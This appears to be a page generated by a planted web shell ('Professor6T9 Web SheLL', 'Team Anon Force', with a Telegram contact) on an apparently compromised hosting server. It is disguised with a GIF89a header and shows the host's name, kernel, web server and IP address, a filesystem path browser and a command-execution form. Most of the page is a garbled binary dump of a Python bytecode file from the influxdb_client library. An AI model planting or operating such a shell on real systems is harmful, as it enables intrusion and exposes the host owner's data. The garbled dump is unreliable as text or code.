GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
proc
/
self
/
root
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
influxdb_client
/
client
/
__pycache__
[ HOME ]
Exec
Submit
write_api.cpython-38.pyc
U ܒiOb � @ s� d Z ddlZddlZddlZddlmZ ddlmZ ddlm Z ddl m Z ddlmZ ddl mZmZmZmZ ddlZdd lmZmZ dd lmZ ddlmZ ddlmZ dd lmZmZ ddl m!Z! ddl"m#Z# ddl$m%Z%m&Z& ddl'm(Z( ddl)m*Z* e�+d�Z,e�r ddl-Z-ddl-m.Z. G dd� de �Z/G dd� de0�Z1e1e/j2d�Z3e1e/j4d�Z5G dd� de0�Z6G dd� de0�Z7G dd� de0�Z8G d d!� d!e0�Z9d"d#� Z:G d$d%� d%e�Z;dS )&zECollect and write time series data to InfluxDB Cloud or InfluxDB OSS.� N)�defaultdict)� timedelta)�Enum)�random)�sleep)�Union�Any�Iterable� NamedTuple)� operators� Observable)�ThreadPoolScheduler)�Subject)�WritePrecision)� _BaseWriteApi�_HAS_DATACLASS)�get_org_query_param)�DataframeSerializer)�Point�DEFAULT_WRITE_PRECISION)�WritesRetry)�_UTF_8_encodingz influxdb_client.client.write_api)� dataclassc @ s e Zd ZdZdZdZdZdS )� WriteTypez3Configuration which type of writes will client use.� � � N)�__name__� __module__�__qualname__�__doc__�batching�asynchronous�synchronous� r$ r$ �Q/opt/alt/python38/lib/python3.8/site-packages/influxdb_client/client/write_api.pyr # s r c @ sX e Zd ZdZejddddddddd ed d�fedd �dd�Zdd� Zdd� Z dd� Z dS )�WriteOptionszWrite configuration.�� r i� � iH� i � r i� r ��max_workersN)� write_type�returnc C sF || _ || _|| _|| _|| _|| _|| _|| _| | _|| _ | | _ dS )aw Create write api configuration. :param write_type: methods of write (batching, asynchronous, synchronous) :param batch_size: the number of data point to collect in batch :param flush_interval: flush data at least in this interval (milliseconds) :param jitter_interval: this is primarily to avoid large write spikes for users running a large number of client instances ie, a jitter of 5s and flush duration 10s means flushes will happen every 10-15s (milliseconds) :param retry_interval: the time to wait before retry unsuccessful write (milliseconds) :param max_retries: the number of max retries when write fails, 0 means retry is disabled :param max_retry_delay: the maximum delay between each retry attempt in milliseconds :param max_retry_time: total timeout for all retry attempts in milliseconds, if 0 retry is disabled :param exponential_base: base for the exponential retry delay :parama max_close_wait: the maximum time to wait for writes to be flushed if close() is called :param write_scheduler: N)r+ � batch_size�flush_interval�jitter_interval�retry_interval�max_retries�max_retry_delay�max_retry_time�exponential_base�write_scheduler�max_close_wait)�selfr+ r- r. r/ r0 r1 r2 r3 r4 r6 r5 r$ r$ r% �__init__. s zWriteOptions.__init__c K s>